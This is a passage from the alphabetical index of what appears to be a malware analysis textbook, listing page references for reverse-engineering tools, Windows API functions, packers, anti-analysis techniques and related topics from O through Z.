OutputDebugString function, 353, 

460, 664
overanalysis, danger of, 308
overloading, 430–431

P
packed DLLs, 401
packed executables

detecting, 23
entropy calculation for, 387–388
identifying, 387–388
loading in OllyDbg, 389
repairing import table for, 390

packed files
indications of, 480
strings and, 483

packed malware, 13–14
detecting with PEiD, 14

packers, 383–402
anatomy, 384–387
labs, 403

solutions, 684–695
resolving imports, 385
tail jump, 386
tips and tricks for common, 

397–400
unpacking illustrated, 386–387

packet listing, in Wireshark, 53
packet sniffing, with Wireshark, 53–55
packing algorithm, program to run in 

reverse, 389
padding characters, Base64 

string and, 279
Parallels, 31
parent classes in C++, 432

child class functions from, 436
parent-child relationships, 

in classes, 432
parsing routines

analyzing, 318–320
IDA Pro graph of, 318–319

pass-the-hash attacks, 236
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password check function, 533
testing if disabled, 534

passwords, 661
getting correct, 665
sniffing, 53

PatchByte function, 337, 339
PatchGuard, 227
patching, in OllyDbg, 195–196
payload rule options, in Snort, 303
PCRE (Perl Compatible Regular 

Expression) notation, in 
Snort, 305, 316

pcre Snort rule keyword, 305
.pdata section, in PE file, 22
PDF Dissector, 471
.pdf documents, 704–712

analyzing with Process Explorer, 50
objects created for, 716

PDF Tools, 471
PE Explorer, 26, 471

unpacking plug-ins, 388
PE file format. See Portable Execut-

able (PE) file format
PEB (Process Environment Block) 

structure, 352, 591–592
documented, 354

PEBrowse Professional, 26
PECompact, 397–398
PeekNamedPipe function, 460, 634
PEiD, 471, 478, 479–480

detecting packers with, 14
KANAL output, 610

peripheral devices, connecting and 
disconnecting, 34–35

Perl Compatible Regular Expression 
(PCRE) notation, in Snort, 
305, 316

persistence, 241–245, 572
AppInit_DLLs for, 575
DLL load-order hijacking, 244–245
of registry, 139
trojanized system binaries, 243–244
Windows Registry for, 241–243

Petite, 398
PEview, 471, 478

examining PE files with, 22–24
finding base address with, 545
original and trojanized versions of 

cisvc.exe, 584–585
PhantOm plug-in, 354, 658, 659, 665

Phatbot, VMware detection, 375–376
phishing, targeted, 299
PIC (position-independent code), 

408–409
pipe symbol (|), in Snort, 304
plug-ins

for extending IDA Pro, 103–106
in OllyDbg, 197–200, 354
PEiD, running of executables, 14
third-party, for Internet 

Explorer, 157
pointers, handles vs., 137
Poison Ivy, 189, 234

tracing, 193–194
use of VirtualAlloc function, 

189–190
polling, 239
polymorphism, 434
pop instruction, 77, 79

after call, 409–411
and tail jump, 394

pop-up ads, 560–561
popa instruction, 79, 244
popad instruction, 79
port 80, backdoor and, 232
Portable Executable (PE) file format, 

14–15, 396
copying sections into memory, 

593–594
examining file structure, 486
header vulnerabilities, OllyDbg, 

363–365
headers and sections, 21–26

summary information, 26
IDA Pro support for, 87
indications in, 729
packed executables formatting of, 

385
parsing export data, 415–417
PEview for examining, 22–24
rebasing and, 184
Resource Hacker tool for viewing, 

25–26
resource section, 254, 567
section headers, and OllyDbg 

crash, 364
.tls section, 360, 662

ports, malware use of, 52
position-independent code (PIC), 

408–409
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POST method, 309
printf function, 120

call compiled for 32-bit 
processor, 445

call compiled for 64-bit 
processor, 446

IDA Pro problems recognizing, 502
privilege escalation, 245–247

SeDebugPrivilege, 246–247
privileged mode, 177
ProcDump, 400
Process activity filter, in procmon, 46
process context, 158
Process Environment Block (PEB) 

structure, 352, 591–592
documented, 354

Process Explorer, 58, 472, 483
comparing strings, 49
Dependency Walker, 49
for finding DLL injection, 589
Verify option, 48–49
viewing processes with, 47–50

Process Hacker, 472
Process Monitor (procmon), 43–46, 

472, 483
boot logging options, 46
display, 44
Filter dialog, 484
filtering in, 44–46
filters on toolbar, 46
reviewing results, 58
toggling event capture on 

and off, 749
Process Name filter, in procmon, 45
Process Properties window, 

Strings tab, 49
process replacement, 48–49, 257–259
Process32First function, 255, 263, 460
Process32Next function, 255, 263, 460
processes

creating, 147–149, 590
dumping from memory, 390, 400
dynamically resolving enumera-

tion imports, 600–601
EBX register of suspended newly 

created, 591
enumerating, 601
for following running malware, 

147–149

function to open and 
manipulate, 20

hidden, 566
interprocess coordination with 

mutexes, 151–152
Properties window for, 48
resuming suspended, 595
starting and replacing, 596

ProcessHeap flag, in PEB structure, 355
procmon. See Process Monitor 

(procmon)
programs. See executables
prologue

64-bit code, 446–447
in functions, 77

Properties window, in Process 
Explorer, 48

protocols, attackers mimicking 
existing, 309–310

psapi.dll, 586, 600
push instruction, 77, 79, 244, 329, 689

vs. mov, 120
with return instruction for 

tail jump, 399
to start functions in disassembly, 394

Pwdump, 236
PyCommand Python script, 200–201
PyCrypto cryptography library, 

290, 625
potential pitfalls, 626

Python, 472
IDAPython, 105–106
program to decode Base64-

encoded string, 289
PyCommand script, 200–201
script for converting data to string, 

500–501

Q
query, of I/O communication port, 

375–377
QueryPerformanceCounter function, 

358–359, 460, 667–668
QueueUserAPC function, 263, 460

R
radio-frequency identification (RFID) 

tokens, 235
RaiseException function, 157, 344
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Random function, 313, 314
random number generator seed, 484
RAT (remote administration tool), 

233–234
raw data, translating to Base64, 

277–278
RC4 algorithm, 283
RCPT command (SMTP), 572
.rdata section, in PE file, 21
rdtsc function, 669
rdtsc instruction, for timing 

check, 358
read breakpoints, for finding 

tail jump, 394
ReadFile function, 137, 219

origin of handle passed to, 623
ReadProcessMemory function, 460, 590
rebasing, 88

in OllyDbg, 184–185
receiving data, and code analysis, 312
recovery of hidden files, 559–560
recursive function, 527
recv function, 143, 144, 313, 461
Red Pill anti-VM technique, 374–375. 

See also sidt instruction 
(Red Pill)

reference Snort rule keyword, 305
RegCreateKeyEx function, 448
RegDeleteKeyEx function, 448
Regedit (Registry Editor), 140–141
RegGetValue function, 141
Regional Internet Registries 

(RIRs), 301
register operands, 69
RegisterClassEx function, 20
RegisterHotKey function, 20, 461
registers, 68

shifting, 75
in x64 architecture, 443
in x86 architecture, 71–73

Registers window, in OllyDbg, 182
registries, for Internet addresses, 301
Registry (Windows), 139–143

analyzing code, 141–142
common functions, 141
defining services, 242
function for string search, 679
indications of modification, 508
for persistence, 241–243
root keys, 140

scripting with .reg files, 142–143
snapshots with Regshot, 50–51
VMware artifacts in, 371

Registry Editor (Regedit), 140–141
Registry filter, in procmon, 46
registry keys, 20

malware and, 42
references to debuggers, 356

\Registry\Machine strings, 549
RegMon tool, 43
RegOpenKey function, 461
RegOpenKeyEx function, 141, 142, 

448, 508
RegSetValueEx function, 141, 508
Regshot, 50–51, 56, 472, 487–488
regular expressions, for identifying 

malware patterns, 631
relative addresses, vs. absolute 

addresses, in OllyDbg, 
184–185

relative virtual addresses (RVAs), for 
PE files, 416

ReleaseMutex function, 151
.reloc section, in PE file, 22
remote administration tool (RAT), 

233–234
remote hooks, 260
remote machine, program receiving 

commands from, 522
remote process, VirtualAllocEx 

function and, 255
remote shell session function, 497
remote socket, program 

connecting to, 727
rep instructions, in x86 architecture, 

81–83
REP MOVSx instruction, 536
replication, operational, 308
resource extraction import 

functions, 567
Resource Hacker, 25–26, 472, 482, 

554, 596–597
resource section

executable file stored in, 555
loading data from, 481

resources
imports for manipulating, 600
obfuscated with single-byte XOR 

encoding, 609
INDEX 757



resources management, 
processes for, 147

ResumeThread function, 259, 461
ret instruction, 77, 386, 409
retn instruction, 342–343, 693
return instruction, for tail jump, push 

instruction with, 399
return pointer, abuse, 342–343
rev keyword, in Snort, 304
reverse-engineering, 3

network protocols, 53
in x86 disassembly, 67–68

reverse-engineering environment, 466
reverse IP lookups, 301
reverse shell, 232–233

analysis, 544
creating, 703

reversible cipher, 271
RFID (radio-frequency identification) 

tokens, 235
right rotation (ror), 76
Rijndael algorithm, 618
RIP-relative addressing, 443
RIRs (Regional Internet Registries), 

301
Ritchie, Dennis, The C Programming 

Language, 110
Robin, John, 373
RobTex, 302
rogue byte, 337
ROL encoding algorithm, 276
rol instruction, 76
Roman Empire, Caesar cipher and, 270
root key, in registry, 139
rootkits, 4, 221–225

finding, 555–556
interrupts and, 225
user-mode rootkits, 247–250

ROR encoding algorithm, 276
ror instruction, 76
ROT encoding algorithm, 276
rotation, instruction for, 76
.rsrc section, in PE file, 22, 25–26
RtlCompareMemory function, 557–558
RtlCreateRegistryKey function, 461, 

549, 553
RtlInitUnicodeString function, 219, 559
RtlWriteRegistryValue function, 461, 

549, 553

rtutils.dll, comparing trojanized and 
clean versions, 243

rule options, in Snort, 303
Run subkey, for running programs 

automatically, 140
run trace, in OllyDbg, 193
rundll32.exe, 42–43, 488

filter for process, 572
for running DLL malware, 42–43

running process, attaching 
OllyDbg to, 181

running services, listing, 152
runtime linking, 15
RVAs (relative virtual addresses), for 

PE files, 416

S
safe environment, 29. See also virtual 

machines
SafeSEH, 345
SAM (Security Account Manager), 

password hashes of local user 
accounts, 236

SamIConnect function, 237, 461
SamIGetPrivateData function, 237, 461
SamQueryInformationUse function, 461
SamrQueryInformationUser function, 237
samsrv.dll library, obtaining 

handle to, 237
sandboxes, 40–42, 473
Sandboxie, 473
sc command, 555
scareware, 4
scasb instruction, 82
scasx instruction, 81
ScoopyNG, 379
screen capture, function for, 615
ScreenEA function, 105
scriptable debugging, in OllyDbg, 

200–201
scripts, IDC, 104–105
searching

default order for loading DLLs in 
Windows XP, 245

in IDA Pro, 94–95
for symbols, 212–213

Section Hop, 391
Secure Hash Algorithm 1 (SHA-1), 10
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Security Account Manager (SAM), 
password hashes of local user 
accounts, 236

security descriptor, 246
SeDebugPrivilege privilege-escalation 

procedure, 603
segment registers, 71
SEH (Structured Exception 

Handling), 157, 665
chain, 345
misusing, 344–346

Seitz, Justin, Gray Hat Python, 201
self-decoding, 288–289
self-deletion scripting code, 674
send function, 143, 144, 313, 461

installing inline hook, 574
sending data, and code analysis, 312
server side of network, 144–145
ServiceMain function, 673
services

defining in Registry, 242
function creating, 677
functions indicating creation, 549
handles for, OpenService 

function for, 550
malware creation, 514
malware installed as, 487
program creating, 561
sc command for information 

about, 555
in Windows, 152–154

SetColor function, 105
setdll tool, 262
SetFilePointer function, 709
SetFileTime function, 461
SetThreadContext function, 259, 461, 

590, 595
SetWaitableTimer function, 516
SetWindowsHookEx function, 20, 239, 

260, 261, 462, 597
SetWindowText function, 20
SF (sign) flag, 72
sfc_os.dll, 604
SfcTerminateWatcherThread function, 

462, 604
sgdt instruction

virtual machine and, 374
and VMware detection, 375

SHA-1 (Secure Hash Algorithm 1), 10
shared files, 138

shared folders, 36
in VMware, 380

shell, connecting pipe to output, 624
Shell32.dll, 20
shellcode

64-bit version, 442
decoder with alphabetic 

encoding, 697
finding, 423–424
hash array, 700–701
locating open handle to PDF, 708
payload, 698
writing into cisvc.exe, 583–584

shellcode analysis, 407–424
dynamic, 706–707
encodings, 421–422
identifying execution location, 

409–413
labs, 425–426

solutions, 696–712
loading code for, 408
manual symbol resolution, 413–418

finding kernel32.dll in memory, 
413–415

parsing PE export data, 415–417
using hashed exported names, 

417–418
NOP sled, 422–423
in OllyDbg, 196–197
position-independent code (PIC), 

408–409
shellcode_launcher.exe, 408, 411, 696
ShellExecute function, 462, 636
shifting registers, 75
shl instruction, 75, 76
ShowWindow function, 20
shr instruction, 75
sid keyword, in Snort, 304
sidt instruction (Red Pill), 375, 

670, 671
virtual machine and, 374

signature-based IDSs, 302
signatures. See network signatures
simple ciphers, 270–280

Base64, 277–280
Caesar cipher, 270
other encoding schemes, 276–277
XOR cipher, 271–276

simple instructions, in x86 
architecture, 73–76
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single-byte XOR encoding, 271
single-stepping

in debuggers, 169–170, 176
and icebp instruction, 363
in OllyDbg, 187

sinkhole, 297
Size of Raw Data, 23–24
SizeOfRawData field, in PE header, 365
SizeofResource function, 254, 596, 609
sldt instruction (No Pill), 670, 672

and VMware detection, 375
Sleep function, 239, 263, 329, 479

in loop, 629
parameter for, 499
sandboxes and, 41

Sleuth Kit, The (TSK), 473
smart cards, 235
snapshots

comparing with Regshot, 50–51, 58
of registry, 487–488
of virtual machines, 35–36

Snort, 473
analyzing parsing routines, 

318–320
creating signature, 317
false positives in, 306
intrusion detection with, 303–304
Perl Compatible Regular Expres-

sion (PCRE) notation in, 305
signature for rule, 632
targeting multiple elements, 

320–321
sockaddr_in structure, 543, 702
socket function, 143, 144, 313

symbolic constants for, 500
sockets

Berkeley compatible, 143–144
code for creating, 701–702
program connecting to remote, 727

SoftICE, 168
software, modifying execution with 

debugger, 177
software breakpoints, 357

vs. hardware, 687
in OllyDbg, 188–189

Software Data Execution Prevention 
Software (DEP), 345

source-level debuggers, vs. 
assembly-level, 168

spam-sending malware, 4

spear-phishing, 299
special files, in Windows API, 138–139
sprintf function, annotated code for 

arguments, 628–629
spyware, 20
SSDT (System Service Descriptor 

Table) 
checking for, 222
hooking, 221–222

stack, 69
addresses for local variables, 111
ExceptionHandler code and, 345
fixing for function, 506–507
identifying parameters pushed 

onto, 502–503
objects created on, 437
viewing in OllyDbg, 185–186
in x64 architecture, differences in 

usage, 443–447
in x86 architecture, 77–80

function calls, 77–78
layout, 78–80

stack overflow, 158
stack pointer, negative number for, 348
stack variables, automatically 

naming, 100
Stack window, in OllyDbg, 182–183
stack-formed strings, decoding, 

540–541
stack-frame analysis, thwarting, 

347–349
standard back trace, in OllyDbg, 

192–193
StartAddress function, 516
START_PENDING, as service status, 517
StartService function, 153, 549, 

550, 554
StartServiceCtrlDispatcher function, 

462, 514
STARTUPINFO structure, 148, 233

manipulating, 544
static analysis, 9–26, 65

advanced, 3
basic, 2
combining with dynamic analysis, 

307–321
Dependency Walker for, 468
example, PotentialKeylogger.exe, 

18–21
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labs, 27–28
solutions, 477–481

techniques, 482–485
static IP addresses, 632
static libraries, 145
static linking, 15
static unpacking programs, 

automated, 389
static values in memory, 69
status flags, 71
STATUS_BREAKPOINT exception, 362
stdcall calling convention, 120
stepping, in OllyDbg, 187
stepping-into, in debuggers, 170–171
stepping-over, in debuggers, 

170–171, 187
Storm worm, 375
stosx instruction, 81
str instruction, 670, 671–672

to detect VMware, 377–378
and virtual machine detection, 377

strcat function, risk in using, 421
strcpy function, risk in using, 421
stricmp function, 527
string instructions, 81
strings

comparing in Process Explorer, 49
comparison of malware names, 666
concatenation functions, 535
decoding stack-formed, 540–541
decoding XOR encoded, 542–543
finding, 11–13
finding anti-VM techniques using, 

679–683
functions for manipulating, 715
in malware, 487
obfuscated comparison, 640–641
packed files and, 483
Python script for converting data 

to, 500–501
recognizing in cryptographic 

algorithms, 281–282
sending to debugger for 

display, 353
strings listings, identifying keyloggers 

in, 240–241
Strings tool, 473

to search executable, 11–12
Strings window, in IDA Pro, 91

strncmp function, 256, 523, 524, 715
for module name comparison, 666
in OllyDbg, 663

strncpy function, 611
strrchr function, 541, 725
strstr function, 640
Structured Exception Handling 

(SEH), 157, 665
chain, 345
misusing, 344–346

structures
applying in IDA Pro, 547–548
AT_INFO, 547–548
EPROCESS

changing, 566
examining in WinDbg, 565

identifying, 128–130
InInitializationOrderLinks list of, 414
LIST_ENTRY, 414, 565
manually checking, 353–356
Microsoft symbols and viewing 

information on, 213–214
overlaying data onto, 214
sockaddr_in, 543, 702
STARTUPINFO, 148, 233, 594
SYSTEMTIME, 516
time-related, manipulating, 516
UNICODE_STRING, for Windows 

kernel, 219
Structures window, in IDA Pro, 92
SUB encoding algorithm, 276
sub links, in IDA Pro, 93
subkey, in registry, 139
subtraction, instruction for, 74
suspended process, resuming, 595
suspended state, creating 

process in, 258
SuspendThread function, 462
SvcHost DLLs, 242–243
svchost.exe, 257–258

malware launch from, 488
running as orphaned process, 

490–491
switch statement, 121–126, 722–723

graph indicating, 509–510
if style for, 122–123, 124
jump table for, 123–126, 641–642

symbolic constants, for socket 
function, 500
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symbolic links, creating, 562
symbols, 212–215

configuring, 215
searching for, 212–213
and viewing structure information, 

213–214
SYSCALL instruction, 158, 221
SYSENTER instruction, 158
Sysinternals, Autoruns program, 241
SYSTEM account, 152
system binaries, trojanized, for 

persistence, 243–244
system calls, filtering on, 45
system function, 462
system memory. See memory
system residue, checking for, 356
System Service Descriptor Table 

(SSDT)
checking for, 222
hooking, 221–222

SystemFunction025 function, 237
SystemFunction027 function, 237
SYSTEMTIME structure, 516
SystemTimeToFileTime function, 516

T
tail jump, 386

eliminating code as, 693
examining code for, 687–688
and finding OEP, 392
for program packed with 

UPack, 399
targeted malware, 4
targeted phishing, 299
TCP handshake, capturing, 59
TCPView, 473
TEB (Thread Environment Block), 344
TerminateProcess function, IAT 

hooking of, 248
test instruction, 80
text mode, in IDA Pro, 90–91
.text section, in PE file, 21, 22
TF (trap) flag, 72
The Sleuth Kit (TSK), 473
Themida, 400
Thinking in C++ (Eckel), 428
this pointer, 428–430, 712–713, 719

in disassembly, 430
thread context, 149

Thread Environment Block (TEB), 344
thread identifiers (TID), 575–576
Thread Information Block (TIB), 344
thread local storage (TLS) callbacks, 

359–361
Thread32First function, 462
Thread32Next function, 462
threads

program accessing context of, 591
targeting, 261
viewing in OllyDbg, 185–186
in Windows, 149–151

ThreatExpert, 40
TIB (Thread Information Block), 344
TID (thread identifiers), 575–576
Time Date Stamp description, in PE 

file, 22–23
time-related structures, 

manipulating, 516
timestomping, 535
timing checks, 357–359

GetTickCount function, 668–669
with QueryPerformanceCounter, 

667–668
rdtsc function, 669

TLS (thread local storage) callbacks, 
359–361

Toolhelp32ReadProcessMemory 
function, 462

Tor, 300, 474
tracing, in OllyDbg, 192–194
traffic logs, of malware activities, 312
transferring files, from virtual 

machine, 36
trap flag, 176–177
trojanized system binaries, for 

persistence, 243–244
Truman, 474
TSK (The Sleuth Kit), 473
type library, loading manually in 

IDA Pro, 102
types, in Windows API, 136

U
u (unassemble) command, 

in WinDbg, 212
Ultimate Packer for eXecutables. See 

UPX (Ultimate Packer for 
eXecutables)
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unconditional jump, 80, 517
undo feature, snapshots as, 35
unescape function (JavaScript), 423, 

705–706
unhandled exception, 344
UnhookWindowsHookEx function, 261
Unicode strings, 11–12
UNICODE_STRING structure, for Windows 

kernel, 219
uniform resource locators (URLs), 

opening to download 
malware, 651–652, 654

unload function, analysis in WinDbg vs. 
IDA Pro, 553

UnMapViewOfSection function, 592
unpacking, 14, 685–686

analyzing malware without, 
400–401

example, 386–387
manual, 389–397

unpacking stub, 383, 384, 389, 692
size of, 399

UPack, 388, 398
UPX (Ultimate Packer for 

eXecutables), 14, 388, 
389, 475

packing with modified version, 
684–685

tips and tricks, 397
UPX-packed malware, 479
URLDownloadToCacheFile function, 232, 

606, 626, 628, 642
URLDownloadToFile function, 313, 

462, 482
URLs (uniform resource locators), 

opening to download 
malware, 651–652, 654

USB flash drives, 206
user mode

calls from application, 206–207
for debuggers, vs. kernel mode, 

168–169
in Windows, 158–159

user space
APC injection from, 263–264
keyloggers, 239–240
looking at code, 215–216

user32.dll, 17, 20, 545
User-Agent, 312, 317

dynamically generated, 511
for malware, 303, 310, 628
string for signature, 643

user-mode APC, 263
user-mode rootkits, 247–250

IAT hooking, 248
inline hooking, 248–250

V
value entry, in registry, 140
variables, global vs. local, 110–112
VERA (Visualizing Executables for 

Reversing and Analysis), 
475–476

victim information, malware 
gathering of, 722

viewing processes, with Process 
Explorer, 47–50

virtual addresses, automatically 
naming, 100

virtual function tables, 434–435, 715
recognizing, 435–436

virtual functions, vs. nonvirtual, 
432–436

virtual machines, 29–38. See also anti-
virtual machine (anti-VM) 
techniques

crashing from procmon, 44
disconnecting network, 32
escaping, 380
hiding precise location, 300
malware detection on, 42
malware efforts to detect, 369, 

670–672
option to boot debugger-enabled 

version of OS, 208
setting up, 580
structure, 30–31
taking snapshots, 35–36
transferring files from, 36
using multiple, 33

virtual machine team, 33
virtual networking, 32, 57
Virtual Size, 23–24
VirtualAlloc function, 596

Poison Ivy use of, 189–190
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VirtualAllocEx function, 255, 256, 423, 
462, 586, 588, 730

and direct injection, 257
and process injection, 254

VirtualProtectEx function, 462
VirtualSize field, in PE header, 365
virus, 4

language setting and, 177
VirusTotal, 10, 475, 478, 479
Visualizing Executables for Reversing 

and Analysis (VERA), 475–476
VMcat, 380
VMchat, 380
VMdrag-n-hack, 380
VMdrag-n-sploit, 380
VMftp, 380
VMware, 30

artifacts, 370–373
configuring, 31–33
configuring to create virtual con-

nection with host OS, 208–209
disk space use, 31
kernel debugging setup, 207–210
movie-capture feature, 37
Network Address Translation 

(NAT) mode, 34
record/replay, 37, 170
risks of using for malware analysis, 

36–37
settings to avoid detection, 

379–380
Snapshot Manager, 35

VMware Player, 30
VMware Tools

installing, 31
stopping service, 371

VMware Workstation, 30–31, 475
VMwareService.exe, 370
VMwareTray.exe, 370
VMwareUser.exe, 370
.vmx file, 379
Volatility Framework, 475
Von Neumann architecture, 68
vtables, 434–435

recognizing, 435–436

W
W, at end of Windows function 

name, 17
WaitForMultipleObjectsEx function, 263

WaitForSingleObject function, 151
WaitForSingleObjectEx function, 263
Watches window, in OllyDbg, 197
web applications, Burp Suite for 

testing, 467
web browser, malware determination 

of default, 699–703
WEP (Wired Equivalent Privacy), 34
while loops, 118
WH_KEYBOARD procedures, 260
WH_KEYBOARD_LL procedures, 260
whois requests, for domains, 301–302
whosthere-alt, 238
wide character string, 11
WideCharToMultiByte function, 462
Wi-Fi Protected Access (WPA), 34
Win32 device namespace, 138
WIN32_SHARE_PROCESS type, 153
WinDbg, 168, 205–227, 475

arithmetic operators, 211
breakpoints, 211–212
connecting to virtual machine 

with, 209–210
EPROCESS structure examined 

with, 565
finding device driver in 

memory, 563
vs. IDA Pro, 553
for kernel debugger, 552
labs, 228

solutions, 548–566
loading drivers, 226
module listing, 212
output, 726
reading from memory, 210–211
rootkits, 221–225
SSDT viewed in, 222
system breakpoint and, 361
viewing driver, 551–553

window modes, in IDA Pro, 89–90
Windows

blue screen, 158
Component Object Model (COM), 

154–157
device drivers, 206
executables, common sections, 22
following running malware, 

145–158
dynamic link libraries (DLLs), 

145–147
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exceptions, 157–158
interprocess coordination with 

mutexes, 151–152
processes, 147–149
services, 152–154
threads, 149–151

functions for importing linked 
functions, 15

kernel vs. user mode, 158–159
Native API, 159–161
reverse shell, 233
tool for dumping process, 400
as virtual OS, 31

Windows 7, kernel issues in, 226–227
Windows 32-bit on Windows 64-bit 

(WOW64) subsystem, 447
Windows API, 136–139

code calling functions, 526
debugger detection with, 352–353
file system functions, 137–138
handles, 137
IDA Pro catalog of named 

constants, 102
networking APIs, 143–145
special files, 138–139

Windows debugger detection, 
352–356

manually checking structures, 
353–356

with Windows API, 352–353
Windows File Protection, 604, 605–606
Windows functions, 453–463

Ex suffix for, 17
Windows Internet (WinINet) API, 

145, 313, 504, 639–640
advantages and disadvantages, 633

Windows malware, 135–161
labs, 162–163

solutions, 513–529
Windows NT/2000 Native API Reference 

(Nebbett), 160
Windows Registry. See Registry 

(Windows)
Windows Sockets (Winsock) API, 313
Windows Update binary

malware creation of handler, 
605–606

moving to temporary directory, 605
string to temporary move, 606

Windows virtual machine, 57

Windows Vista, kernel issues for, 
226–227

Windows XP
default search order for loading 

DLLs, 245
disabled firewall, 549

WinExec function, 462, 482
WinGraph32 application, 98
WinHex, 468, 596–597, 609
WinINet (Windows Internet) API, 

145, 313, 504, 639–640
advantages and disadvantages, 633

wininet.dll, 17, 501
imports from, 480

Winlogon, opening handle to, 603
Winlogon Notify, 242
WinMain function, analysis, 640
WinMD5 calculator, 10, 11
WinObj Object Manager, 138
Winsock (Windows Sockets) API, 313
Winsock libraries, 143
WinUpack, 398–400, 691–695
Wired Equivalent Privacy (WEP), 34
Wireshark, 57, 475, 483

DNS and HTTP example, 54
Follow TCP Stream window, 54
packet sniffing with, 53–55
reviewing capture, 59

Witty worm, 138
Wlx, function names beginning 

with, 235
WlxLoggedOnSAS function, 463
Word documents, analyzing with 

Process Explorer, 50
WORD type, in Windows API, 136
worm, 4
WOW64 (Windows 32-bit on Windows 

64-bit) subsystem, 447
Wow64DisableWow64FsRedirection 

function, 448, 463
WPA (Wi-Fi Protected Access), 34
WriteFile function, 137, 215, 219, 585

origin of handle passed to, 623
WriteProcessMemory function, 255, 256, 

423, 463, 586, 590, 593
and direct injection, 257
and process injection, 254

ws2_32.dll, 17, 144, 483
imports from, 521

WSAGetLastError function, 144, 313
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WSASocket function, 542, 727
WSAStartup function, 144, 313, 463, 

542, 727
wshtcpip.dll, 483
WSock32.dll, 17
wupdmgr.exe, 604

launching, 606

X
x command, WinDbg, 213
x64 architecture, 441

differences in calling convention 
and stack usage, 443–447

exception handling, 445
malware with component for, 729

x64 Windows, kernel issues for, 
226–227

x86-64 architecture, 441
x86 architecture, 68–85

branching, 80–81
C main method and offsets, 83–84
code types and data access, 408
conditionals, 80
documentation manuals, 85
instructions, 69–70
instruction set, general-purpose 

register for, 409
main memory, 69
NOP instruction, 76
opcodes and endianness, 70
operands, 70
registers, 71–73, 374
rep instructions, 81–83
search for vulnerable instructions, 

670–672
simple instructions, 73–76
stack, 77–80

function calls, 77–78
layout, 78–80

x86 disassembly, 65–85
levels of abstraction, 66–67
reverse-engineer, 67–68

x87 floating-point unit (FPU), 
411–413

Xen, 31
XOR cipher, 271–276

brute-forcing, 271–273
identifying loops in IDA Pro, 

274–276
NULL preserving single-byte, 

273–274
XOR encoded strings, decoding, 

542–543
XOR encoding loop, 620–621
xor instruction, 76, 596

forms, 275
searching for, 612–613
searching for nonzeroing, 608

XOR logical operator, in x86 
architecture, 75

xref. See cross-references (xref)
Xrefs window, in IDA Pro, 96

Y
YARA, 475
Yuschuk, Oleh, 179

Z
Zero Wine, 475
zero-day exploit, 33, 245
ZF (zero) flag, 72, 80
zombies, 234
ZwContinue function, 386
ZwCreateFile function, 219
ZwDeviceIoControlFile function, inline 

hooking of, 249–250
ZwUnmapViewOfSection function, 258
Zynamics BinDiff, 106
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